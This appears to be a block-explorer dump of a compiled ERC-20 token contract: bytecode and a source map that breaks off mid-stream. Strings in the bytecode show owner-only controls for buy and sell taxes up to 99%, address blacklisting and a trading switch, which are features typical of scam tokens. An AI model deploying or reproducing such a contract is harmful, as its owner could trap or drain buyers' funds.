044820152627a652160e81b60648201526084016105e2565b60006110f33061078b565b60185460165491925082101590821061110c5760165491505b8080156111235750601554600160a81b900460ff16155b801561113d57506015546001600160a01b03868116911614155b80156111525750601554600160b01b900460ff165b801561117757506001600160a01b03851660009081526005602052604090205460ff16155b801561119c57506001600160a01b03841660009081526005602052604090205460ff16155b156111aa576111aa8261137f565b476111b68686836114f9565b5050505b6001600160a01b03831660009081526005602052604090205460019060ff16806111fc57506001600160a01b03831660009081526005602052604090205460ff165b8061122e57506015546001600160a01b0385811691161480159061122e57506015546001600160a01b03848116911614155b1561123b575060006112b5565b6015546001600160a01b03858116911614801561126657506014546001600160a01b03848116911614155b1561127857600854600c55600954600d555b6015546001600160a01b0384811691161480156112a357506014546001600160a01b03858116911614155b156112b557600a54600c55600b54600d555b610b468484848461154e565b600081848411156112e55760405162461bcd60e51b81526004016105e29190611c2a565b5060006112f28486611fcd565b95945050505050565b60006006548211156113625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e2565b600061136c61157c565b9050611378838261159f565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c7576113c7611e6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611420573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114449190611fe0565b8160018151811061145757611457611e6b565b6001600160a01b03928316602091820292909201015260145461147d9130911684610c65565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b6908590600090869030904290600401611ffd565b600060405180830381600087803b1580156114d057600080fd5b505af11580156114e4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6013546040516bffffffffffffffffffffffff19606086811b8216602084015285901b166034820152611549916001600160a01b03169083906048016040516020818303038152906040526115e1565b505050565b8061155b5761155b61169b565b6115668484846116c9565b80610b4657610b46600e54600c55600f54600d55565b60008060006115896117c0565b9092509050611598828261159f565b9250505090565b600061137883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611842565b6000836001600160a01b031683836040516115fc919061206e565b60006040518083038185875af1925050503d8060008114611639576040519150601f19603f3d011682016040523d82523d6000602084013e61163e565b606091505b5050905080610b465760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960448201526213115160ea1b60648201526084016105e2565b600c541580156116ab5750600d54155b156116b257565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116db87611870565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061170d90876118cd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173c908661190f565b6001600160a01b03891660009081526002602052604090205561175e8161196e565b61176884836119b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ad91815260200190565b60405180910390a3505050505050505050565b6006546000908190816117d56012600a611f94565b6117e390633b9aca00611fa3565b905061180b6117f46012600a611f94565b61180290633b9aca00611fa3565b6006549061159f565b821015611839576006546118216012600a611f94565b61182f90633b9aca00611fa3565b9350935050509091565b90939092509050565b600081836118635760405162461bcd60e51b81526004016105e29190611c2a565b5060006112f2848661208a565b600080600080600080600080600061188d8a600c54600d546119dc565b925092509250600061189d61157c565b905060008060006118b08e878787611a31565b919e509c509a509598509396509194505050505091939550919395565b600061137883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c1565b60008061191c8385611fba565b9050838110156113785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e2565b600061197861157c565b905060006119868383611a81565b306000908152600260205260409020549091506119a3908261190f565b30600090815260026020526040902055505050565b6006546119c590836118cd565b6006556007546119d5908261190f565b6007555050565b60008080806119f660646119f08989611a81565b9061159f565b90506000611a0960646119f08a89611a81565b90506000611a2182611a1b8b866118cd565b906118cd565b9992985090965090945050505050565b6000808080611a408886611a81565b90506000611a4e8887611a81565b90506000611a5c8888611a81565b90506000611a6e82611a1b86866118cd565b939b939a50919850919650505050505050565b600082600003611a9357506000610668565b6000611a9f8385611fa3565b905082611aac858361208a565b146113785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611b2e57600080fd5b50565b8035611b3c81611b19565b919050565b60006020808385031215611b5457600080fd5b823567ffffffffffffffff80821115611b6c57600080fd5b818501915085601f830112611b8057600080fd5b813581811115611b9257611b92611b03565b8060051b604051601f19603f83011681018181108582111715611bb757611bb7611b03565b604052918252848201925083810185019188831115611bd557600080fd5b938501935b82851015611bfa57611beb85611b31565b84529385019392850192611bda565b98975050505050505050565b60005b83811015611c21578181015183820152602001611c09565b50506000910152565b6020815260008251806020840152611c49816040850160208701611c06565b601f01601f19169190910160400192915050565b60008060408385031215611c7057600080fd5b8235611c7b81611b19565b946020939093013593505050565b600080600060608486031215611c9e57600080fd5b8335611ca981611b19565b92506020840135611cb981611b19565b929592945050506040919091013590565b600060208284031215611cdc57600080fd5b813561137881611b19565b80358015158114611b3c57600080fd5b600060208284031215611d0957600080fd5b61137882611ce7565b600060208284031215611d2457600080fd5b5035919050565b60008060008060808587031215611d4157600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611d7057600080fd5b611d7983611ce7565b91506020830135611d8981611b19565b809150509250929050565b600080600060408486031215611da957600080fd5b833567ffffffffffffffff80821115611dc157600080fd5b818601915086601f830112611dd557600080fd5b813581811115611de457600080fd5b8760208260051b8501011115611df957600080fd5b602092830195509350611e0f9186019050611ce7565b90509250925092565b60008060408385031215611e2b57600080fd5b8235611d7981611b19565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ea957611ea9611e81565b5060010190565b600181815b80851115611eeb578160001904821115611ed157611ed1611e81565b80851615611ede57918102915b93841c9390800290611eb5565b509250929050565b600082611f0257506001610668565b81611f0f57506000610668565b8160018114611f255760028114611f2f57611f4b565b6001915050610668565b60ff841115611f4057611f40611e81565b50506001821b610668565b5060208310610133831016604e8410600b8410161715611f6e575081810a610668565b611f788383611eb0565b8060001904821115611f8c57611f8c611e81565b029392505050565b600061137860ff841683611ef3565b808202811582820484141761066857610668611e81565b8082018082111561066857610668611e81565b8181038181111561066857610668611e81565b600060208284031215611ff257600080fd5b815161137881611b19565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561204d5784516001600160a01b031683529383019391830191600101612028565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251612080818460208701611c06565b9190910192915050565b6000826120a757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055c56a7b935a53411582201f278884247bb5129a4b4f40a4075d2393607e7bf664736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f04614610512578063dd62ed3e14610532578063ea1644d514610578578063f2fde38b1461059857600080fd5b8063a9059cbb146104a2578063bfd79284146104c2578063c1cae7d9146104f257600080fd5b80638f9a55c0116100c65780638f9a55c01461041d57806395d89b411461043357806398a5c31514610462578063a2a957bb1461048257600080fd5b80637d1db4a5146103bc5780637f2feddc146103d25780638da5cb5b146103ff57600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f81461034757806370a0823114610367578063715018a61461038757806374010ece1461039c57600080fd5b8063313ce567146102eb57806349bd5a5e146103075780636b9990531461032757600080fd5b80631694505e116101955780631694505e1461025a57806318160ddd1461029257806323b872dd146102b55780632fd689e3146102d557600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022a57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e1366004611b41565b6105b8565b005b3480156101f457600080fd5b5060408051808201909152600781526643616f2043616f60c81b60208201525b6040516102219190611c2a565b60405180910390f35b34801561023657600080fd5b5061024a610245366004611c5d565b610657565b6040519015158152602001610221565b34801561026657600080fd5b5060145461027a906001600160a01b031681565b6040516001600160a01b039091168152602001610221565b34801561029e57600080fd5b506102a761066e565b604051908152602001610221565b3480156102c157600080fd5b5061024a6102d0366004611c89565b61068f565b3480156102e157600080fd5b506102a760185481565b3480156102f757600080fd5b5060405160128152602001610221565b34801561031357600080fd5b5060155461027a906001600160a01b031681565b34801561033357600080fd5b506101e6610342366004611cca565b6106f8565b34801561035357600080fd5b506101e6610362366004611cf7565b610743565b34801561037357600080fd5b506102a7610382366004611cca565b61078b565b34801561039357600080fd5b506101e66107ad565b3480156103a857600080fd5b506101e66103b7366004611d12565b610821565b3480156103c857600080fd5b506102a760165481565b3480156103de57600080fd5b506102a76103ed366004611cca565b60116020526000908152604090205481565b34801561040b57600080fd5b506000546001600160a01b031661027a565b34801561042957600080fd5b506102a760175481565b34801561043f57600080fd5b50604080518082019091526006815265e69bb9e6938d60d01b6020820152610214565b34801561046e57600080fd5b506101e661047d366004611d12565b610850565b34801561048e57600080fd5b506101e661049d366004611d2b565b61087f565b3480156104ae57600080fd5b5061024a6104bd366004611c5d565b610a35565b3480156104ce57600080fd5b5061024a6104dd366004611cca565b60106020526000908152604090205460ff1681565b3480156104fe57600080fd5b506101e661050d366004611d5d565b610a42565b34801561051e57600080fd5b506101e661052d366004611d94565b610aab565b34801561053e57600080fd5b506102a761054d366004611e18565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058457600080fd5b506101e6610593366004611d12565b610b4c565b3480156105a457600080fd5b506101e66105b3366004611cca565b610b7b565b6000546001600160a01b031633146105eb5760405162461bcd60e51b81526004016105e290611e36565b60405180910390fd5b60005b81518110156106535760016010600084848151811061060f5761060f611e6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064b81611e97565b9150506105ee565b5050565b6000610664338484610c65565b5060015b92915050565b600061067c6012600a611f94565b61068a90633b9aca00611fa3565b905090565b600061069c848484610d89565b6106ee84336106e9856040518060600160405280602881526020016120ad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112c1565b610c65565b5060019392505050565b6000546001600160a01b031633146107225760405162461bcd60e51b81526004016105e290611e36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461076d5760405162461bcd60e51b81526004016105e290611e36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038116600090815260026020526040812054610668906112fb565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016105e290611e36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461084b5760405162461bcd60e51b81526004016105e290611e36565b601655565b6000546001600160a01b0316331461087a5760405162461bcd60e51b81526004016105e290611e36565b601855565b6000546001600160a01b031633146108a95760405162461bcd60e51b81526004016105e290611e36565b60048411156109085760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b60648201526084016105e2565b60638211156109645760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642039604482015261392560f01b60648201526084016105e2565b60048311156109c45760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b60648201526084016105e2565b6063811115610a215760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526239392560e81b60648201526084016105e2565b600893909355600a91909155600955600b55565b6000610664338484610d89565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105e290611e36565b601380546001600160a01b039092166001600160a01b031990921691909117905560158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ad55760405162461bcd60e51b81526004016105e290611e36565b60005b82811015610b46578160056000868685818110610af757610af7611e6b565b9050602002016020810190610b0c9190611cca565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3e81611e97565b915050610ad8565b50505050565b6000546001600160a01b03163314610b765760405162461bcd60e51b81526004016105e290611e36565b601755565b6000546001600160a01b03163314610ba55760405162461bcd60e51b81526004016105e290611e36565b6001600160a01b038116610c0a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cc75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e2565b6001600160a01b038216610d285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ded5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e2565b6001600160a01b038216610e4f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e2565b60008111610eb15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e2565b6000546001600160a01b03848116911614801590610edd57506000546001600160a01b03838116911614155b156111ba57601554600160a01b900460ff16610f76576000546001600160a01b03848116911614610f765760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e2565b601654811115610fc85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e2565b6001600160a01b03831660009081526010602052604090205460ff1615801561100a57506001600160a01b03821660009081526010602052604090205460ff16155b6110625760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e2565b6015546001600160a01b038381169116146110e857601754816110848461078b565b61108e9190611fba565b11156110e85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e2565b60006110f33061078b565b60185460165491925082101590821061110c5760165491505b8080156111235750601554600160a81b900460ff16155b801561113d57506015546001600160a01b03868116911614155b80156111525750601554600160b01b900460ff165b801561117757506001600160a01b03851660009081526005602052604090205460ff16155b801561119c57506001600160a01b03841660009081526005602052604090205460ff16155b156111aa576111aa8261137f565b476111b68686836114f9565b5050505b6001600160a01b03831660009081526005602052604090205460019060ff16806111fc57506001600160a01b03831660009081526005602052604090205460ff165b8061122e57506015546001600160a01b0385811691161480159061122e57506015546001600160a01b03848116911614155b1561123b575060006112b5565b6015546001600160a01b03858116911614801561126657506014546001600160a01b03848116911614155b1561127857600854600c55600954600d555b6015546001600160a01b0384811691161480156112a357506014546001600160a01b03858116911614155b156112b557600a54600c55600b54600d555b610b468484848461154e565b600081848411156112e55760405162461bcd60e51b81526004016105e29190611c2a565b5060006112f28486611fcd565b95945050505050565b60006006548211156113625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e2565b600061136c61157c565b9050611378838261159f565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c7576113c7611e6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611420573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114449190611fe0565b8160018151811061145757611457611e6b565b6001600160a01b03928316602091820292909201015260145461147d9130911684610c65565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b6908590600090869030904290600401611ffd565b600060405180830381600087803b1580156114d057600080fd5b505af11580156114e4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6013546040516bffffffffffffffffffffffff19606086811b8216602084015285901b166034820152611549916001600160a01b03169083906048016040516020818303038152906040526115e1565b505050565b8061155b5761155b61169b565b6115668484846116c9565b80610b4657610b46600e54600c55600f54600d55565b60008060006115896117c0565b9092509050611598828261159f565b9250505090565b600061137883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611842565b6000836001600160a01b031683836040516115fc919061206e565b60006040518083038185875af1925050503d8060008114611639576040519150601f19603f3d011682016040523d82523d6000602084013e61163e565b606091505b5050905080610b465760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960448201526213115160ea1b60648201526084016105e2565b600c541580156116ab5750600d54155b156116b257565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116db87611870565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061170d90876118cd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173c908661190f565b6001600160a01b03891660009081526002602052604090205561175e8161196e565b61176884836119b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ad91815260200190565b60405180910390a3505050505050505050565b6006546000908190816117d56012600a611f94565b6117e390633b9aca00611fa3565b905061180b6117f46012600a611f94565b61180290633b9aca00611fa3565b6006549061159f565b821015611839576006546118216012600a611f94565b61182f90633b9aca00611fa3565b9350935050509091565b90939092509050565b600081836118635760405162461bcd60e51b81526004016105e29190611c2a565b5060006112f2848661208a565b600080600080600080600080600061188d8a600c54600d546119dc565b925092509250600061189d61157c565b905060008060006118b08e878787611a31565b919e509c509a509598509396509194505050505091939550919395565b600061137883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c1565b60008061191c8385611fba565b9050838110156113785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e2565b600061197861157c565b905060006119868383611a81565b306000908152600260205260409020549091506119a3908261190f565b30600090815260026020526040902055505050565b6006546119c590836118cd565b6006556007546119d5908261190f565b6007555050565b60008080806119f660646119f08989611a81565b9061159f565b90506000611a0960646119f08a89611a81565b90506000611a2182611a1b8b866118cd565b906118cd565b9992985090965090945050505050565b6000808080611a408886611a81565b90506000611a4e8887611a81565b90506000611a5c8888611a81565b90506000611a6e82611a1b86866118cd565b939b939a50919850919650505050505050565b600082600003611a9357506000610668565b6000611a9f8385611fa3565b905082611aac858361208a565b146113785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611b2e57600080fd5b50565b8035611b3c81611b19565b919050565b60006020808385031215611b5457600080fd5b823567ffffffffffffffff80821115611b6c57600080fd5b818501915085601f830112611b8057600080fd5b813581811115611b9257611b92611b03565b8060051b604051601f19603f83011681018181108582111715611bb757611bb7611b03565b604052918252848201925083810185019188831115611bd557600080fd5b938501935b82851015611bfa57611beb85611b31565b84529385019392850192611bda565b98975050505050505050565b60005b83811015611c21578181015183820152602001611c09565b50506000910152565b6020815260008251806020840152611c49816040850160208701611c06565b601f01601f19169190910160400192915050565b60008060408385031215611c7057600080fd5b8235611c7b81611b19565b946020939093013593505050565b600080600060608486031215611c9e57600080fd5b8335611ca981611b19565b92506020840135611cb981611b19565b929592945050506040919091013590565b600060208284031215611cdc57600080fd5b813561137881611b19565b80358015158114611b3c57600080fd5b600060208284031215611d0957600080fd5b61137882611ce7565b600060208284031215611d2457600080fd5b5035919050565b60008060008060808587031215611d4157600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611d7057600080fd5b611d7983611ce7565b91506020830135611d8981611b19565b809150509250929050565b600080600060408486031215611da957600080fd5b833567ffffffffffffffff80821115611dc157600080fd5b818601915086601f830112611dd557600080fd5b813581811115611de457600080fd5b8760208260051b8501011115611df957600080fd5b602092830195509350611e0f9186019050611ce7565b90509250925092565b60008060408385031215611e2b57600080fd5b8235611d7981611b19565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ea957611ea9611e81565b5060010190565b600181815b80851115611eeb578160001904821115611ed157611ed1611e81565b80851615611ede57918102915b93841c9390800290611eb5565b509250929050565b600082611f0257506001610668565b81611f0f57506000610668565b8160018114611f255760028114611f2f57611f4b565b6001915050610668565b60ff841115611f4057611f40611e81565b50506001821b610668565b5060208310610133831016604e8410600b8410161715611f6e575081810a610668565b611f788383611eb0565b8060001904821115611f8c57611f8c611e81565b029392505050565b600061137860ff841683611ef3565b808202811582820484141761066857610668611e81565b8082018082111561066857610668611e81565b8181038181111561066857610668611e81565b600060208284031215611ff257600080fd5b815161137881611b19565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561204d5784516001600160a01b031683529383019391830191600101612028565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251612080818460208701611c06565b9190910192915050565b6000826120a757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055c56a7b935a53411582201f278884247bb5129a4b4f40a4075d2393607e7bf664736f6c63430008130033
Deployed Bytecode Sourcemap
5707:13825:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14273:169;;;;;;;;;;-1:-1:-1;14273:169:0;;;;;:::i;:::-;;:::i;:::-;;8273:83;;;;;;;;;;-1:-1:-1;8343:5:0;;;;;;;;;;;;-1:-1:-1;;;8343:5:0;;;;8273:83;;;;;;;:::i;:::-;;;;;;;;9205:193;;;;;;;;;;-1:-1:-1;9205:193:0;;;;;:::i;:::-;;:::i;:::-;;;2688:14:1;;2681:22;2663:41;;2651:2;2636:18;9205:193:0;2523:187:1;6974:41:0;;;;;;;;;;-1:-1:-1;6974:41:0;;;;-1:-1:-1;;;;;6974:41:0;;;;;;-1:-1:-1;;;;;2905:32:1;;;2887:51;;2875:2;2860:18;6974:41:0;2715:229:1;8553:95:0;;;;;;;;;;;;;:::i;:::-;;;3095:25:1;;;3083:2;3068:18;8553:95:0;2949:177:1;9407:446:0;;;;;;;;;;-1:-1:-1;9407:446:0;;;;;:::i;:::-;;:::i;7304:59::-;;;;;;;;;;;;;;;;8461:83;;;;;;;;;;-1:-1:-1;8461:83:0;;5936:2;3734:36:1;;3722:2;3707:18;8461:83:0;3592:184:1;7022:28:0;;;;;;;;;;-1:-1:-1;7022:28:0;;;;-1:-1:-1;;;;;7022:28:0;;;14451:92;;;;;;;;;;-1:-1:-1;14451:92:0;;;;;:::i;:::-;;:::i;18898:101::-;;;;;;;;;;-1:-1:-1;18898:101:0;;;;;:::i;:::-;;:::i;8657:138::-;;;;;;;;;;-1:-1:-1;8657:138:0;;;;;:::i;:::-;;:::i;1792:148::-;;;;;;;;;;;;;:::i;19039:121::-;;;;;;;;;;-1:-1:-1;19039:121:0;;;;;:::i;:::-;;:::i;7166:60::-;;;;;;;;;;;;;;;;6821:43;;;;;;;;;;-1:-1:-1;6821:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;1576:79;;;;;;;;;;-1:-1:-1;1614:7:0;1641:6;-1:-1:-1;;;;;1641:6:0;1576:79;;7234:62;;;;;;;;;;;;;;;;8365:87;;;;;;;;;;-1:-1:-1;8437:7:0;;;;;;;;;;;;-1:-1:-1;;;8437:7:0;;;;8365:87;;18706:139;;;;;;;;;;-1:-1:-1;18706:139:0;;;;;:::i;:::-;;:::i;17960:693::-;;;;;;;;;;-1:-1:-1;17960:693:0;;;;;:::i;:::-;;:::i;8804:199::-;;;;;;;;;;-1:-1:-1;8804:199:0;;;;;:::i;:::-;;:::i;6783:36::-;;;;;;;;;;-1:-1:-1;6783:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14078:183;;;;;;;;;;-1:-1:-1;14078:183:0;;;;;:::i;:::-;;:::i;19293:234::-;;;;;;;;;;-1:-1:-1;19293:234:0;;;;;:::i;:::-;;:::i;9012:184::-;;;;;;;;;;-1:-1:-1;9012:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9161:18:0;;;9129:7;9161:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9012:184;19169:115;;;;;;;;;;-1:-1:-1;19169:115:0;;;;;:::i;:::-;;:::i;1949:244::-;;;;;;;;;;-1:-1:-1;1949:244:0;;;;;:::i;:::-;;:::i;14273:169::-;1704:6;;-1:-1:-1;;;;;1704:6:0;405:10;1704:22;1696:67;;;;-1:-1:-1;;;1696:67:0;;;;;;;:::i;:::-;;;;;;;;;14349:9:::1;14344:91;14368:5;:12;14364:1;:16;14344:91;;;14419:4;14402;:14;14407:5;14413:1;14407:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;14402:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;14402:14:0;:21;;-1:-1:-1;;14402:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14382:3;::::1;::::0;::::1;:::i;:::-;;;;14344:91;;;;14273:169:::0;:::o;9205:193::-;9307:4;9329:39;405:10;9352:7;9361:6;9329:8;:39::i;:::-;-1:-1:-1;9386:4:0;9205:193;;;;;:::o;8553:95::-;8606:7;6279:15;5936:2;6279;:15;:::i;:::-;6264:30;;:12;:30;:::i;:::-;8626:14;;8553:95;:::o;9407:446::-;9539:4;9556:36;9566:6;9574:9;9585:6;9556:9;:36::i;:::-;9603:220;9626:6;405:10;9674:138;9730:6;9674:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9674:19:0;;;;;;:11;:19;;;;;;;;405:10;9674:33;;;;;;;;;;:37;:138::i;:::-;9603:8;:220::i;:::-;-1:-1:-1;9841:4:0;9407:446;;;;;:::o;14451:92::-;1704:6;;-1:-1:-1;;;;;1704:6:0;405:10;1704:22;1696:67;;;;-1:-1:-1;;;1696:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14515:12:0::1;14530:5;14515:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;14515:20:0::1;::::0;;14451:92::o;18898:101::-;1704:6;;-1:-1:-1;;;;;1704:6:0;405:10;1704:22;1696:67;;;;-1:-1:-1;;;1696:67:0;;;;;;;:::i;:::-;18965:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;18965:26:0::1;-1:-1:-1::0;;;;18965:26:0;;::::1;::::0;;;::::1;::::0;;18898:101::o;8657:138::-;-1:-1:-1;;;;;8770:16:0;;8723:7;8770:16;;;:7;:16;;;;;;8750:37;;:19;:37::i;1792:148::-;1704:6;;-1:-1:-1;;;;;1704:6:0;405:10;1704:22;1696:67;;;;-1:-1:-1;;;1696:67:0;;;;;;;:::i;:::-;1899:1:::1;1883:6:::0;;1862:40:::1;::::0;-1:-1:-1;;;;;1883:6:0;;::::1;::::0;1862:40:::1;::::0;1899:1;;1862:40:::1;1930:1;1913:19:::0;;-1:-1:-1;;;;;;1913:19:0::1;::::0;;1792:148::o;19039:121::-;1704:6;;-1:-1:-1;;;;;1704:6:0;405:10;1704:22;1696:67;;;;-1:-1:-1;;;1696:67:0;;;;;;;:::i;:::-;19116:12:::1;:26:::0;19039:121::o;18706:139::-;1704:6;;-1:-1:-1;;;;;1704:6:0;405:10;1704:22;1696:67;;;;-1:-1:-1;;;1696:67:0;;;;;;;:::i;:::-;18797:19:::1;:40:::0;18706:139::o;17960:693::-;1704:6;;-1:-1:-1;;;;;1704:6:0;405:10;1704:22;1696:67;;;;-1:-1:-1;;;1696:67:0;;;;;;;:::i;:::-;18141:1:::1;18124:13;:18;;18094:90;;;::::0;-1:-1:-1;;;18094:90:0;;9096:2:1;18094:90:0::1;::::0;::::1;9078:21:1::0;9135:2;9115:18;;;9108:30;9174:34;9154:18;;;9147:62;-1:-1:-1;;;9225:18:1;;;9218:35;9270:19;;18094:90:0::1;8894:401:1::0;18094:90:0::1;18238:2;18223:11;:17;;18195:84;;;::::0;-1:-1:-1;;;18195:84:0;;9502:2:1;18195:84:0::1;::::0;::::1;9484:21:1::0;9541:2;9521:18;;;9514:30;9580:34;9560:18;;;9553:62;-1:-1:-1;;;9631:18:1;;;9624:32;9673:19;;18195:84:0::1;9300:398:1::0;18195:84:0::1;18339:1;18321:14;:19;;18290:93;;;::::0;-1:-1:-1;;;18290:93:0;;9905:2:1;18290:93:0::1;::::0;::::1;9887:21:1::0;9944:2;9924:18;;;9917:30;9983:34;9963:18;;;9956:62;-1:-1:-1;;;10034:18:1;;;10027:36;10080:19;;18290: